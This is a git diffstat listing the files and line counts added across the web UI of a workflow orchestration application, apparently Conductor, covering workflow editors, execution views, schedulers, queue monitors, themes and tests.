.../WorkflowMetadata/state/services.ts | 81 + .../WorkflowMetadata/state/types.ts | 69 + ui-next/src/pages/definition/commonService.ts | 75 + .../confirmSave/ConfirmSaveButtonGroup.tsx | 99 + .../confirmSave/ConfirmSaveDiffEditor.tsx | 73 + .../confirmSave/ConfirmWorkflowOverride.tsx | 72 + .../src/pages/definition/confirmSave/index.ts | 3 + .../definition/confirmSave/state/actions.ts | 130 + .../definition/confirmSave/state/guards.ts | 42 + .../definition/confirmSave/state/index.ts | 2 + .../definition/confirmSave/state/machine.ts | 141 + .../definition/confirmSave/state/services.ts | 87 + .../definition/confirmSave/state/types.ts | 69 + .../errorInspector/AccordionErrorSummary.tsx | 84 + .../errorInspector/ErrorInspector.tsx | 269 + .../errorInspector/ImportSummary.tsx | 64 + .../errorInspector/ServerErrorDisplayer.tsx | 203 + .../errorInspector/TaskErrorsDisplayer.tsx | 312 + .../errorInspector/WorkflowErrorDisplayer.tsx | 180 + .../errorInspector/state/actions.ts | 395 + .../errorInspector/state/helpers.test.ts | 1056 + .../errorInspector/state/helpers.ts | 273 + .../definition/errorInspector/state/hook.ts | 184 + .../definition/errorInspector/state/index.ts | 2 + .../errorInspector/state/machine.ts | 295 + .../errorInspector/state/schemaValidator.ts | 308 + .../errorInspector/state/service.test.ts | 599 + .../errorInspector/state/service.ts | 539 + .../definition/errorInspector/state/types.ts | 287 + ui-next/src/pages/definition/helper.test.ts | 115 + ui-next/src/pages/definition/helpers.ts | 61 + .../src/pages/definition/progressicons.jsx | 21 + .../WorkflowEditContext.tsx | 6 + .../WorkflowEditProvider.tsx | 21 + .../state/WorkflowEditContext/index.ts | 2 + .../state/WorkflowEditContext/types.ts | 8 + ui-next/src/pages/definition/state/action.ts | 1154 + .../src/pages/definition/state/constants.js | 40 + ui-next/src/pages/definition/state/guards.ts | 203 + ui-next/src/pages/definition/state/hook.ts | 307 + ui-next/src/pages/definition/state/index.ts | 2 + ui-next/src/pages/definition/state/machine.ts | 1318 + .../src/pages/definition/state/services.ts | 158 + .../state/taskModifier/constants.ts | 8 + .../definition/state/taskModifier/index.ts | 2 + .../state/taskModifier/taskModifier.test.js | 581 + .../state/taskModifier/taskModifier.ts | 712 + ui-next/src/pages/definition/state/types.ts | 358 + .../state/useGetVariablesForSelectedTasks.ts | 31 + .../pages/definition/state/useMadeChanges.ts | 33 + .../pages/definition/state/usePanelChanges.ts | 22 + .../state/usePerformOperationOnDefintion.ts | 71 + .../pages/definition/task/CreationInfo.tsx | 46 + .../pages/definition/task/NameDescription.tsx | 153 + .../definition/task/SaveProtectionPrompt.tsx | 204 + .../definition/task/TaskDefErrorInspector.tsx | 77 + .../pages/definition/task/TaskDefinition.tsx | 295 + .../definition/task/TaskDefinitionButtons.tsx | 275 + .../task/TaskDefinitionDiffEditor.tsx | 141 + .../pages/definition/task/TestTaskForm.tsx | 105 + .../task/dialogs/TaskDefinitionDialogs.tsx | 79 + .../definition/task/dialogs/state/actions.ts | 14 + .../definition/task/dialogs/state/guards.ts | 16 + .../definition/task/dialogs/state/hook.ts | 61 + .../definition/task/dialogs/state/index.ts | 3 + .../definition/task/dialogs/state/machine.ts | 96 + .../definition/task/dialogs/state/types.ts | 81 + .../task/form/TaskDefinitionForm.tsx | 583 + .../definition/task/form/state/actions.ts | 49 + .../definition/task/form/state/guards.ts | 11 + .../pages/definition/task/form/state/hook.ts | 91 + .../pages/definition/task/form/state/index.ts | 4 + .../definition/task/form/state/machine.ts | 133 + .../definition/task/form/state/services.ts | 12 + .../pages/definition/task/form/state/types.ts | 90 + ui-next/src/pages/definition/task/index.ts | 3 + .../pages/definition/task/state/actions.ts | 202 + .../src/pages/definition/task/state/guards.ts | 84 + .../pages/definition/task/state/helpers.ts | 67 + .../src/pages/definition/task/state/hook.ts | 321 + .../src/pages/definition/task/state/index.ts | 2 + .../pages/definition/task/state/machine.ts | 362 + .../pages/definition/task/state/services.ts | 268 + .../src/pages/definition/task/state/types.ts | 259 + .../pages/definition/task/state/validator.ts | 147 + .../src/pages/definitions/EventHandler.tsx | 509 + .../Scheduler/BulkActionModule.tsx | 234 + .../pages/definitions/Scheduler/Schedules.tsx | 941 + ui-next/src/pages/definitions/Task.tsx | 563 + ui-next/src/pages/definitions/Workflow.tsx | 571 + .../pages/definitions/dialog/CloneDialog.tsx | 115 + .../dialog/CloneScheduleDialog.tsx | 110 + .../dialog/CloneWorkflowDialog.tsx | 220 + .../dialog/ShareWorkflowDialog.tsx | 258 + ui-next/src/pages/definitions/index.ts | 6 + .../src/pages/definitions/rowColorHelpers.ts | 24 + ui-next/src/pages/error/ErrorPage.tsx | 229 + ui-next/src/pages/error/Forbidden.tsx | 48 + ui-next/src/pages/error/UserNotFound.tsx | 81 + ui-next/src/pages/error/types.ts | 13 + .../src/pages/eventMonitor/EventMonitor.tsx | 276 + .../EventMonitorDetail/EventMonitorDetail.tsx | 403 + .../ExpandedGroupedItem.tsx | 129 + .../EventMonitorDetail/PayloadModal.tsx | 100 + .../Refresher/RefreshEvent.tsx | 96 + .../Refresher/state/actions.ts | 59 + .../Refresher/state/hook.ts | 107 + .../Refresher/state/machine.ts | 100 + .../Refresher/state/services.ts | 67 + .../Refresher/state/types.ts | 65 + ui-next/src/pages/eventMonitor/types.ts | 43 + ui-next/src/pages/eventMonitor/utils.ts | 83 + ui-next/src/pages/execution/ActionModule.jsx | 254 + .../AgentDefinitionView.test.tsx | 17 + .../AgentExecution/AgentDefinitionView.tsx | 993 + .../AgentExecution/AgentDetailPanel.tsx | 2674 + .../AgentExecution/AgentExecutionDiagram.tsx | 1872 + .../AgentExecution/AgentExecutionHeader.tsx | 183 + .../AgentExecution/AgentExecutionTab.tsx | 220 + .../execution/AgentExecution/AgentRunView.tsx | 618 + .../execution/AgentExecution/EventRow.tsx | 360 + .../AgentExecution/HumanInputPanel.tsx | 403 + .../execution/AgentExecution/SubAgentTree.tsx | 390 + .../execution/AgentExecution/TurnBar.tsx | 185 + .../execution/AgentExecution/TurnDetail.tsx | 68 + .../AgentExecution/agentExecutionUtils.ts | 1476 + .../pages/execution/AgentExecution/index.ts | 2 + .../execution/AgentExecution/mockData.ts | 467 + .../pages/execution/AgentExecution/types.ts | 151 + ui-next/src/pages/execution/Execution.tsx | 846 + .../pages/execution/ExecutionInputOutput.tsx | 128 + ui-next/src/pages/execution/ExecutionJson.tsx | 29 + .../src/pages/execution/ExecutionSummary.tsx | 85 + .../pages/execution/LeftPanelTabs.test.tsx | 80 + ui-next/src/pages/execution/LeftPanelTabs.tsx | 189 + .../src/pages/execution/NoAnimRangeSlider.tsx | 45 + .../RightPanel/CollapsibleIterationList.tsx | 271 + .../RightPanel/DoWhileIteration.test.tsx | 240 + .../execution/RightPanel/DoWhileIteration.tsx | 212 + .../RightPanel/InlineTaskIterations.tsx | 216 + .../RightPanel/IterationHeaderLabel.tsx | 27 + .../RightPanel/IterationSection.test.tsx | 236 + .../execution/RightPanel/IterationSection.tsx | 143 + .../RightPanel/IterationStatusIcon.tsx | 16 + .../execution/RightPanel/LabelRenderer.tsx | 49 + .../pages/execution/RightPanel/RightPanel.tsx | 451 + .../execution/RightPanel/SecondaryActions.tsx | 51 + .../RightPanel/SummarizeConfirmDialog.tsx | 54 + .../execution/RightPanel/SummarizeToggle.tsx | 29 + .../execution/RightPanel/SummaryTask.tsx | 74 + .../RightPanel/doWhileIterationHelpers.ts | 66 + .../execution/RightPanel/dropdownIcon.ts | 30 + .../src/pages/execution/RightPanel/index.ts | 2 + .../RightPanel/iterationHelpers.test.ts | 203 + .../execution/RightPanel/iterationHelpers.ts | 116 + .../execution/RightPanel/state/actions.ts | 108 + .../execution/RightPanel/state/guards.ts | 33 + .../pages/execution/RightPanel/state/hook.ts | 163 + .../pages/execution/RightPanel/state/index.ts | 2 + .../execution/RightPanel/state/machine.ts | 196 + .../execution/RightPanel/state/services.ts | 110 + .../pages/execution/RightPanel/state/types.ts | 111 + .../RightPanel/useFullWorkflowQuery.ts | 27 + .../execution/RightPanel/useSummarize.ts | 40 + .../pages/execution/TaskList/StatusSelect.tsx | 84 + .../src/pages/execution/TaskList/TaskList.tsx | 231 + ui-next/src/pages/execution/TaskList/index.ts | 2 + .../pages/execution/TaskList/state/actions.ts | 46 + .../pages/execution/TaskList/state/hook.ts | 62 + .../pages/execution/TaskList/state/index.ts | 3 + .../pages/execution/TaskList/state/machine.ts | 56 + .../execution/TaskList/state/services.ts | 39 + .../pages/execution/TaskList/state/types.ts | 54 + ui-next/src/pages/execution/TaskLogs.tsx | 103 + ui-next/src/pages/execution/TaskSummary.tsx | 223 + ui-next/src/pages/execution/Timeline.test.ts | 537 + ui-next/src/pages/execution/Timeline.tsx | 326 + .../pages/execution/UpdateTaskStatusForm.tsx | 207 + .../pages/execution/WorkflowIntrospection.tsx | 907 + .../pages/execution/WorkflowSizeIndicator.tsx | 76 + .../src/pages/execution/componentHelpers.tsx | 37 + ui-next/src/pages/execution/helpers.test.ts | 666 + ui-next/src/pages/execution/helpers.ts | 78 + ui-next/src/pages/execution/index.ts | 3 + .../FlowExecutionContext.tsx | 8 + .../FlowExecutionProvider.tsx | 11 + .../state/FlowExecutionContext/index.ts | 2 + .../state/FlowExecutionContext/types.ts | 7 + .../pages/execution/state/StatusMapTypes.ts | 14 + ui-next/src/pages/execution/state/actions.ts | 539 + .../execution/state/agentDefaultTab.test.ts | 97 + .../src/pages/execution/state/constants.ts | 9 + .../pages/execution/state/countdownActions.ts | 39 + .../pages/execution/state/countdownMachine.ts | 135 + .../execution/state/executionMapper.test.js | 449 + .../pages/execution/state/executionMapper.ts | 442 + ui-next/src/pages/execution/state/guards.ts | 70 + ui-next/src/pages/execution/state/hook.ts | 347 + ui-next/src/pages/execution/state/index.ts | 2 + ui-next/src/pages/execution/state/machine.ts | 559 + .../pages/execution/state/sampleExecutions.js | 51383 ++++++++++++++++ ui-next/src/pages/execution/state/services.ts | 174 + ui-next/src/pages/execution/state/types.ts | 279 + ui-next/src/pages/execution/timeline.scss | 58 + ui-next/src/pages/execution/timelineUtils.ts | 153 + .../executions/ApiSearchModalIntegration.tsx | 101 + .../src/pages/executions/BulkActionModule.tsx | 249 + .../pages/executions/DateControlComponent.tsx | 381 + .../pages/executions/DatePickerComponent.tsx | 338 + ui-next/src/pages/executions/ResultsTable.tsx | 345 + .../executions/SchedulerApiSearchModal.tsx | 96 + .../pages/executions/SchedulerExecutions.tsx | 408 + .../executions/SchedulerResultsTable.tsx | 265 + .../pages/executions/SearchExampleQuery.tsx | 34 + .../ImportBPNFileDialog.tsx | 303 + .../SplitWorkflowDefinitionButton.tsx | 70 + .../SplitWorkflowDefinitionButton/hook.ts | 188 + .../pages/executions/Task/AdvanceSearch.tsx | 256 + .../src/pages/executions/Task/BasicSearch.tsx | 287 + .../pages/executions/Task/SwitchComponent.tsx | 32 + .../executions/Task/TaskApiSearchModal.tsx | 62 + .../src/pages/executions/TaskResultsTable.tsx | 358 + ui-next/src/pages/executions/TaskSearch.tsx | 478 + .../src/pages/executions/WorkflowSearch.tsx | 245 + .../src/pages/executions/executionsStyles.ts | 35 + ui-next/src/pages/executions/index.ts | 6 + .../AdvancedSearch.tsx | 582 + .../workflowSearchComponents/BasicSearch.tsx | 718 + .../src/pages/kitchensink/DataTableDemo.jsx | 19 + .../src/pages/kitchensink/EnhancedTable.jsx | 349 + ui-next/src/pages/kitchensink/Examples.jsx | 3 + ui-next/src/pages/kitchensink/Gantt.jsx | 87 + ui-next/src/pages/kitchensink/KitchenSink.jsx | 422 + .../src/pages/kitchensink/ThemeSampler.jsx | 83 + .../src/pages/kitchensink/sampleMovieData.js | 1773 + .../src/pages/queueMonitor/PollDataTable.tsx | 205 + .../pages/queueMonitor/PollWorkerDetails.tsx | 66 + .../queueMonitor/QuickSearchAndRefresh.tsx | 56 + ui-next/src/pages/queueMonitor/TaskQueue.tsx | 59 + .../queueMonitor/filter/FilterSection.tsx | 229 + ui-next/src/pages/queueMonitor/filter/hook.ts | 88 + .../src/pages/queueMonitor/filter/index.ts | 3 + ui-next/src/pages/queueMonitor/helpers.ts | 70 + .../queueMonitor/refresher/RefreshOptions.tsx | 181 + .../src/pages/queueMonitor/refresher/index.ts | 2 + .../queueMonitor/refresher/state/actions.ts | 29 + .../queueMonitor/refresher/state/guards.ts | 8 + .../queueMonitor/refresher/state/index.ts | 2 + .../queueMonitor/refresher/state/machine.ts | 60 + .../queueMonitor/refresher/state/types.ts | 26 + .../QueueMonitorContext.tsx | 6 + .../QueueMonitorProvider.tsx | 11 + .../state/QueueMonitorContext/index.ts | 2 + .../state/QueueMonitorContext/types.ts | 8 + .../src/pages/queueMonitor/state/actions.ts | 97 + .../src/pages/queueMonitor/state/guards.ts | 5 + ui-next/src/pages/queueMonitor/state/hook.ts | 36 + ui-next/src/pages/queueMonitor/state/index.ts | 3 + .../src/pages/queueMonitor/state/machine.ts | 183 + .../src/pages/queueMonitor/state/service.ts | 57 + ui-next/src/pages/queueMonitor/state/types.ts | 89 + .../src/pages/runWorkflow/IdempotencyForm.tsx | 124 + ui-next/src/pages/runWorkflow/RunWorkflow.tsx | 737 + .../runWorkflow/RunWorkflowApiSearchModal.tsx | 131 + ui-next/src/pages/runWorkflow/index.ts | 1 + .../src/pages/runWorkflow/runWorkflowUtils.ts | 150 + ui-next/src/pages/runWorkflow/types.ts | 16 + .../pages/scheduler/CronExpressionHelp.tsx | 121 + .../pages/scheduler/SaveProtectionPrompt.tsx | 162 + ui-next/src/pages/scheduler/Schedule.tsx | 780 + .../src/pages/scheduler/ScheduleButtons.tsx | 78 + .../pages/scheduler/ScheduleDiffEditor.jsx | 95 + .../src/pages/scheduler/TimezonePicker.tsx | 31 + .../scheduler/__tests__/Schedule.test.tsx | 682 + .../pages/scheduler/__tests__/hooks.test.ts | 636 + .../__tests__/scheduleTransformers.test.ts | 241 + .../components/CronExpressionSection.tsx | 329 + .../components/ScheduleTimingSection.tsx | 81 + .../components/WorkflowConfigSection.tsx | 101 + ui-next/src/pages/scheduler/constants.ts | 8 + .../scheduler/hooks/useCronExpression.ts | 231 + .../hooks/useScheduleFormHandlers.ts | 193 + .../pages/scheduler/hooks/useScheduleState.ts | 174 + .../scheduler/hooks/useWorkflowConfig.ts | 125 + ui-next/src/pages/scheduler/index.ts | 1 + ui-next/src/pages/scheduler/schedulerHooks.js | 29 + ui-next/src/pages/scheduler/timezones.json | 605 + .../scheduler/utils/scheduleTransformers.ts | 128 + ui-next/src/pages/styles.js | 167 + ui-next/src/plugins/AppBarModules.tsx | 56 + ui-next/src/plugins/AppLogo.tsx | 31 + ui-next/src/plugins/ConductorLogo.tsx | 12 + ui-next/src/plugins/constants.js | 0 ui-next/src/plugins/customTypeRenderers.jsx | 1 + ui-next/src/plugins/env.js | 6 + ui-next/src/plugins/fetch.ts | 74 + ui-next/src/plugins/index.ts | 40 + ui-next/src/plugins/registry/index.ts | 62 + ui-next/src/plugins/registry/registry.ts | 443 + ui-next/src/plugins/registry/types.ts | 724 + ui-next/src/queryClient.ts | 10 + ui-next/src/routes/__tests__/router.test.tsx | 584 + ui-next/src/routes/__tests__/test-utils.tsx | 297 + ui-next/src/routes/router.tsx | 4 + ui-next/src/routes/routes.tsx | 290 + ui-next/src/setupTests.ts | 43 + ui-next/src/shared/CodeModal/curlHeader.ts | 4 + ui-next/src/shared/CodeModal/hook.ts | 26 + ui-next/src/shared/CodeModal/types.ts | 11 + .../PersistableSidebar/state/actions.ts | 88 + .../shared/PersistableSidebar/state/hook.ts | 115 + .../PersistableSidebar/state/machine.ts | 77 + .../PersistableSidebar/state/services.ts | 28 + .../shared/PersistableSidebar/state/types.ts | 68 + ui-next/src/shared/UserSettingsContext.ts | 11 + ui-next/src/shared/UserSettingsProvider.tsx | 22 + .../MetadataBanner.tsx | 287 + .../state/actions.ts | 36 + .../state/guards.ts | 7 + .../state/machine.ts | 112 + .../state/services.ts | 137 + .../state/types.ts | 37 + ui-next/src/shared/editor.ts | 11 + ui-next/src/shared/icons/FitToFrame.tsx | 18 + ui-next/src/shared/state/index.ts | 3 + ui-next/src/shared/state/machine.ts | 45 + ui-next/src/shared/state/selectors.ts | 27 + ui-next/src/shared/state/types.ts | 76 + .../state/userSettingsMachine/actions.ts | 53 + .../state/userSettingsMachine/guards.ts | 11 + .../shared/state/userSettingsMachine/index.ts | 2 + .../state/userSettingsMachine/machine.ts | 90 + .../state/userSettingsMachine/services.ts | 48 + .../shared/state/userSettingsMachine/types.ts | 41 + ui-next/src/shared/styles.ts | 53 + ui-next/src/shared/useSaveProtection.ts | 245 + ui-next/src/shared/useUserSettings.ts | 30 + ui-next/src/templates/JSONSchemaWorkflow.js | 314 + ui-next/src/testData/diagramTests.js | 3086 + ui-next/src/theme/index.ts | 2 + .../ColorModeContext/ColorModeContext.tsx | 13 + .../theme/material/ColorModeContext/index.ts | 1 + ui-next/src/theme/material/baseTheme.ts | 124 + .../src/theme/material/components/appBar.ts | 33 + .../src/theme/material/components/atoms.ts | 73 + .../src/theme/material/components/buttons.ts | 305 + .../theme/material/components/buttonsGroup.ts | 218 + .../components/dropdownsMenusPopovers.ts | 84 + .../theme/material/components/formControls.ts | 279 + .../src/theme/material/components/modals.ts | 46 + .../src/theme/material/components/paper.ts | 12 + .../src/theme/material/components/tables.ts | 40 + ui-next/src/theme/material/components/tabs.ts | 36 + .../src/theme/material/getPaletteForMode.ts | 221 + ui-next/src/theme/material/provider.tsx | 33 + ui-next/src/theme/material/types/Palette.d.ts | 69 + ui-next/src/theme/styles.ts | 46 + ui-next/src/theme/theme.ts | 90 + ui-next/src/theme/tokens/colorOverrides.ts | 41 + ui-next/src/theme/tokens/colors.js | 838 + ui-next/src/theme/tokens/globalConstants.js | 1 + ui-next/src/theme/tokens/orkes-theme.js | 32 + ui-next/src/theme/tokens/variables.ts | 73 + ui-next/src/types/Application.ts | 10 + ui-next/src/types/CloudTemplateResults.ts | 54 + ui-next/src/types/CloudTemplateType.ts | 81 + ui-next/src/types/Crumbs.ts | 12 + ui-next/src/types/EnvVariables.ts | 7 + ui-next/src/types/Environment.ts | 5 + ui-next/src/types/Events.ts | 76 + ui-next/src/types/Execution.ts | 139 + ui-next/src/types/FormFieldTypes.ts | 28 + ui-next/src/types/HumanTaskTypes.ts | 158 + ui-next/src/types/Integrations.ts | 123 + ui-next/src/types/Messages.ts | 6 + ui-next/src/types/MetricsTypes.ts | 20 + ui-next/src/types/Prompts.ts | 17 + ui-next/src/types/RemoteServiceTypes.ts | 98 + ui-next/src/types/Schedulers.ts | 32 + ui-next/src/types/SchemaDefinition.ts | 14 + ui-next/src/types/Schemas.ts | 1857 + ui-next/src/types/SchemasAjv.ts | 47 + ui-next/src/types/Secret.ts | 7 + ui-next/src/types/ServiceDefinition.ts | 12 + ui-next/src/types/Tag.ts | 2 + ui-next/src/types/TaskDefinition.ts | 31 + ui-next/src/types/TaskExecution.ts | 25 + ui-next/src/types/TaskLog.ts | 5 + ui-next/src/types/TaskStatus.ts | 15 + ui-next/src/types/TaskType.ts | 672 + ui-next/src/types/TestTaskTypes.ts | 67 + ui-next/src/types/TimeoutPolicy.ts | 4 + ui-next/src/types/UpdateTaskStatus.ts | 5 + ui-next/src/types/User.ts | 55 + ui-next/src/types/WebhookDefinition.ts | 23 + ui-next/src/types/WorkflowDef.ts | 36 + ui-next/src/types/WorkflowExecution.ts | 19 + ui-next/src/types/common.ts | 183 + ui-next/src/types/helperTypes.ts | 3 + ui-next/src/types/index.ts | 23 + ui-next/src/types/svg.d.ts | 7 + ui-next/src/useArrowNavigation.tsx | 192 + .../src/utils/__tests__/checkPathFlag.test.ts | 87 + ui-next/src/utils/__tests__/date.test.ts | 51 + ui-next/src/utils/__tests__/json.test.ts | 1098 + ui-next/src/utils/__tests__/object.test.ts | 24 + ui-next/src/utils/__tests__/string.test.ts | 39 + .../__tests__/toMaybeQueryString.test.ts | 38 + .../src/utils/__tests__/typeHelpers.test.ts | 154 + ui-next/src/utils/__tests__/utils.test.ts | 100 + ui-next/src/utils/__tests__/workflow.test.ts | 145 + ui-next/src/utils/accessControl.ts | 59 + ui-next/src/utils/agentTaskCategory.ts | 49 + ui-next/src/utils/array.ts | 24 + ui-next/src/utils/checkPathFlag.ts | 51 + ui-next/src/utils/cloudTemplates.ts | 825 + ui-next/src/utils/constants.ts | 50 + ui-next/src/utils/constants/api.ts | 25 + ui-next/src/utils/constants/common.ts | 115 + ui-next/src/utils/constants/dateTimePicker.ts | 65 + ui-next/src/utils/constants/docLink.ts | 17 + .../constants/emailContentTypeSuggestions.ts | 1 + ui-next/src/utils/constants/event.ts | 1 + ui-next/src/utils/constants/httpStatusCode.ts | 73 + .../src/utils/constants/httpSuggestions.ts | 79 + ui-next/src/utils/constants/index.ts | 1 + ui-next/src/utils/constants/jsonSchema.ts | 2 + ui-next/src/utils/constants/regex.ts | 17 + ui-next/src/utils/constants/route.ts | 179 + ui-next/src/utils/constants/switch.ts | 1 + ui-next/src/utils/constants/task.ts | 12 + ui-next/src/utils/constants/webhook.ts | 155 + ui-next/src/utils/constants/workflow.ts | 30 + .../constants/workflowScheduleExecution.ts | 5 + ui-next/src/utils/cronHelpers.ts | 41 + ui-next/src/utils/date.ts | 637 + ui-next/src/utils/deprecatedRadioFilter.ts | 21 + ui-next/src/utils/fieldHelpers.tsx | 744 + ui-next/src/utils/flags.ts | 139 + ui-next/src/utils/gtag.ts | 88 + ui-next/src/utils/handleValidChars.ts | 32 + ui-next/src/utils/helpers.ts | 261 + ui-next/src/utils/hooks/index.ts | 4 + .../hooks/useAutoCompleteInputValidation.ts | 15 + .../utils/hooks/useConductorProjectBuilder.ts | 256 + .../src/utils/hooks/useCustomPagination.ts | 44 + ui-next/src/utils/hooks/useEditorForm.ts | 94 + .../utils/hooks/useEntityAvailableVersions.ts | 37 + .../utils/hooks/useEventNameSuggestions.ts | 14 + ui-next/src/utils/hooks/useGetEntities.ts | 23 + .../utils/hooks/useGetEnvironmentVariables.ts | 39 + ui-next/src/utils/hooks/useGetIntegrations.ts | 71 + .../utils/hooks/useGetSchedulerDefinitions.ts | 86 + ui-next/src/utils/hooks/useGetSchemas.ts | 31 + ui-next/src/utils/hooks/useGetSecrets.ts | 31 + ui-next/src/utils/hooks/useMCPIntegrations.ts | 69 + ui-next/src/utils/hooks/usePushHistory.ts | 17 + ui-next/src/utils/hooks/useReplaceHistory.ts | 17 + ui-next/src/utils/hooks/useToastMessage.ts | 21 + .../hooks/useWorkflowNamesAndVersionsQuery.ts | 25 + .../src/utils/hooks/useXStateEventListener.ts | 22 + ui-next/src/utils/httpStatus.ts | 13 + ui-next/src/utils/human.ts | 100 + ui-next/src/utils/index.ts | 21 + ui-next/src/utils/json.ts | 586 + ui-next/src/utils/jsonSchema.ts | 26 + ui-next/src/utils/localstorage.ts | 49 + ui-next/src/utils/logger.ts | 53 + ui-next/src/utils/logrocket.ts | 65 + ui-next/src/utils/maybeTriggerWorkflow.ts | 9 + .../src/utils/monacoUtils/CodeEditorUtils.ts | 43 + ui-next/src/utils/monacoUtils/promql.ts | 319 + ui-next/src/utils/monitoring.ts | 22 + ui-next/src/utils/object.ts | 51 + ui-next/src/utils/pipe.ts | 30 + ui-next/src/utils/query.ts | 809 + ui-next/src/utils/reactHookForm.ts | 118 + ui-next/src/utils/regex.ts | 1 + ui-next/src/utils/releaseVersion.ts | 4 + ui-next/src/utils/remoteServices.ts | 57 + ui-next/src/utils/roles.ts | 44 + ui-next/src/utils/strings.ts | 50 + ui-next/src/utils/task.ts | 70 + ui-next/src/utils/themeVariables.ts | 7 + ui-next/src/utils/toMaybeQueryString.ts | 37 + ui-next/src/utils/tracker.tsx | 18 + ui-next/src/utils/useGetGroups.ts | 31 + ui-next/src/utils/useGetUsers.ts | 31 + ui-next/src/utils/useIntegrationProviders.ts | 20 + ui-next/src/utils/useInterval.ts | 30 + .../utils/useLazyWorkflowNameAutoComplete.ts | 15 + ui-next/src/utils/utils.ts | 385 + ui-next/src/utils/workflow.ts | 481 + ui-next/tsconfig.json | 44 + ui-next/vite-plugin-csp-nonce.ts | 20 + ui-next/vite.config.ts | 167 + ui-next/vite.lib-peer-external.ts | 34 + ui/.env | 1 + ui/.eslintrc | 6 + ui/.gitignore | 28 + ui/.prettierignore | 1 + ui/.prettierrc.json | 1 + ui/README.md | 64 + ui/e2e/fixtures/doWhile/doWhileSwitch.json | 416 + ui/e2e/fixtures/dynamicFork.json | 4286 ++ .../dynamicFork/externalizedInput.json | 427 + ui/e2e/fixtures/dynamicFork/noneSpawned.json | 180 + ui/e2e/fixtures/dynamicFork/notExecuted.json | 192 + ui/e2e/fixtures/dynamicFork/oneFailed.json | 474 + ui/e2e/fixtures/dynamicFork/success.json | 485 + ui/e2e/fixtures/eventHandlers.json | 35 + ui/e2e/fixtures/metadataTasks.json | 55 + ui/e2e/fixtures/metadataWorkflow.json | 228 + ui/e2e/fixtures/metadataWorkflowNames.json | 1 + .../metadataWorkflowNamesAndVersions.json | 26 + ui/e2e/fixtures/metadataWorkflowVersions.json | 12 + ui/e2e/fixtures/schedulerDefs.json | 29 + ui/e2e/fixtures/schedulerExecutions.json | 23 + ui/e2e/fixtures/taskPollData.json | 14 + ui/e2e/fixtures/taskSearch.json | 22 + ui/e2e/fixtures/workflowSearch.json | 81 + ui/e2e/helpers/mockApi.ts | 54 + ui/e2e/pages.spec.ts | 164 + ui/e2e/spec.spec.ts | 83 + ui/e2e/workflow-def.spec.ts | 114 + ui/package-lock.json | 25871 ++++++++ ui/package.json | 101 + ui/playwright-ct.config.ts | 22 + ui/playwright.config.ts | 54 + ui/playwright/index.html | 12 + ui/playwright/index.tsx | 2 + ui/public/diagramDotBg.svg | 7493 +++ ui/public/favicon.svg | 52 + ui/public/index.html | 23 + ui/public/logo.svg | 1 + ui/public/robots.txt | 3 + ui/src/App.jsx | 180 + ui/src/components/Banner.jsx | 28 + ui/src/components/Button.jsx | 10 + ui/src/components/ButtonGroup.jsx | 22 + ui/src/components/ConfirmChoiceDialog.jsx | 39 + ui/src/components/CustomButtons.jsx | 109 + ui/src/components/DataTable.jsx | 351 + ui/src/components/DateRangePicker.jsx | 52 + ui/src/components/Dropdown.jsx | 52 + ui/src/components/DropdownButton.jsx | 65 + ui/src/components/Heading.jsx | 8 + ui/src/components/Input.jsx | 47 + ui/src/components/KeyValueTable.jsx | 90 + ui/src/components/LinearProgress.jsx | 22 + ui/src/components/NavLink.jsx | 55 + ui/src/components/Paper.jsx | 27 + ui/src/components/Pill.jsx | 28 + ui/src/components/PrimaryButton.jsx | 6 + ui/src/components/ReactJson.jsx | 121 + ui/src/components/ScheduleNameInput.jsx | 18 + ui/src/components/SchedulerDisabledBanner.jsx | 39 + ui/src/components/SecondaryButton.jsx | 6 + ui/src/components/Select.jsx | 20 + ui/src/components/SplitButton.jsx | 78 + ui/src/components/StatusBadge.jsx | 34 + ui/src/components/Tabs.jsx | 67 + ui/src/components/TaskLink.jsx | 13 + ui/src/components/TaskNameInput.jsx | 18 + ui/src/components/TertiaryButton.jsx | 6 + ui/src/components/Text.jsx | 8 + ui/src/components/WorkflowNameInput.jsx | 18 + .../definitionList/DefinitionList.jsx | 20 + .../components/diagram/PanAndZoomWrapper.jsx | 399 + ui/src/components/diagram/TaskPointer.d.ts | 4 + ui/src/components/diagram/TaskResult.d.ts | 1 + ui/src/components/diagram/WorkflowDAG.js | 655 + ui/src/components/diagram/WorkflowGraph.jsx | 740 + .../diagram/WorkflowGraph.test.pw.tsx | 166 + .../components/diagram/ZoomControlButton.jsx | 34 + ui/src/components/diagram/ZoomControls.jsx | 107 + ui/src/components/diagram/diagram.scss | 221 + ui/src/components/formik/FormikCronEditor.jsx | 22 + ui/src/components/formik/FormikDropdown.jsx | 17 + ui/src/components/formik/FormikInput.jsx | 16 + ui/src/components/formik/FormikJsonInput.jsx | 99 + .../formik/FormikStatusDropdown.jsx | 21 + ui/src/components/formik/FormikSwitch.jsx | 19 + .../formik/FormikVersionDropdown.jsx | 75 + .../formik/FormikWorkflowNameInput.jsx | 26 + ui/src/components/formik/cron.css | 56 + ui/src/components/icons/FitToFrame.jsx | 18 + ui/src/components/icons/Home.jsx | 18 + ui/src/components/icons/Minus.jsx | 18 + ui/src/components/icons/Plus.jsx | 18 + ui/src/components/index.js | 36 + ui/src/data/actions.js | 65 + ui/src/data/bulkactions.js | 67 + ui/src/data/common.js | 55 + ui/src/data/eventHandler.js | 64 + ui/src/data/misc.js | 9 + ui/src/data/scheduler.js | 95 + ui/src/data/task.js | 157 + ui/src/data/workflow.js | 194 + ui/src/hooks/useTime.js | 14 + ui/src/index.css | 16 + ui/src/index.js | 41 + .../definition/EventHandlerDefinition.jsx | 182 + .../definition/ResetConfirmationDialog.jsx | 31 + .../definition/SaveEventHandlerDialog.jsx | 150 + .../pages/definition/SaveSchedulerDialog.jsx | 146 + ui/src/pages/definition/SaveTaskDialog.jsx | 141 + .../pages/definition/SaveWorkflowDialog.jsx | 182 + .../pages/definition/SchedulerDefinition.jsx | 179 + ui/src/pages/definition/TaskDefinition.jsx | 169 + .../pages/definition/WorkflowDefinition.jsx | 414 + ui/src/pages/definitions/EventHandler.jsx | 72 + ui/src/pages/definitions/Header.jsx | 31 + ui/src/pages/definitions/Scheduler.jsx | 160 + ui/src/pages/definitions/Task.jsx | 88 + ui/src/pages/definitions/Workflow.jsx | 148 + ui/src/pages/errors/ErrorsInspector.jsx | 912 + .../errors/components/FailureReasonChart.jsx | 157 + .../errors/components/LiveTailButton.jsx | 84 + .../pages/errors/components/Notification.jsx | 46 + .../pages/errors/components/StatusChart.jsx | 113 + .../pages/errors/components/SummaryCard.jsx | 87 + .../errors/components/TimeRangeDropdown.jsx | 63 + 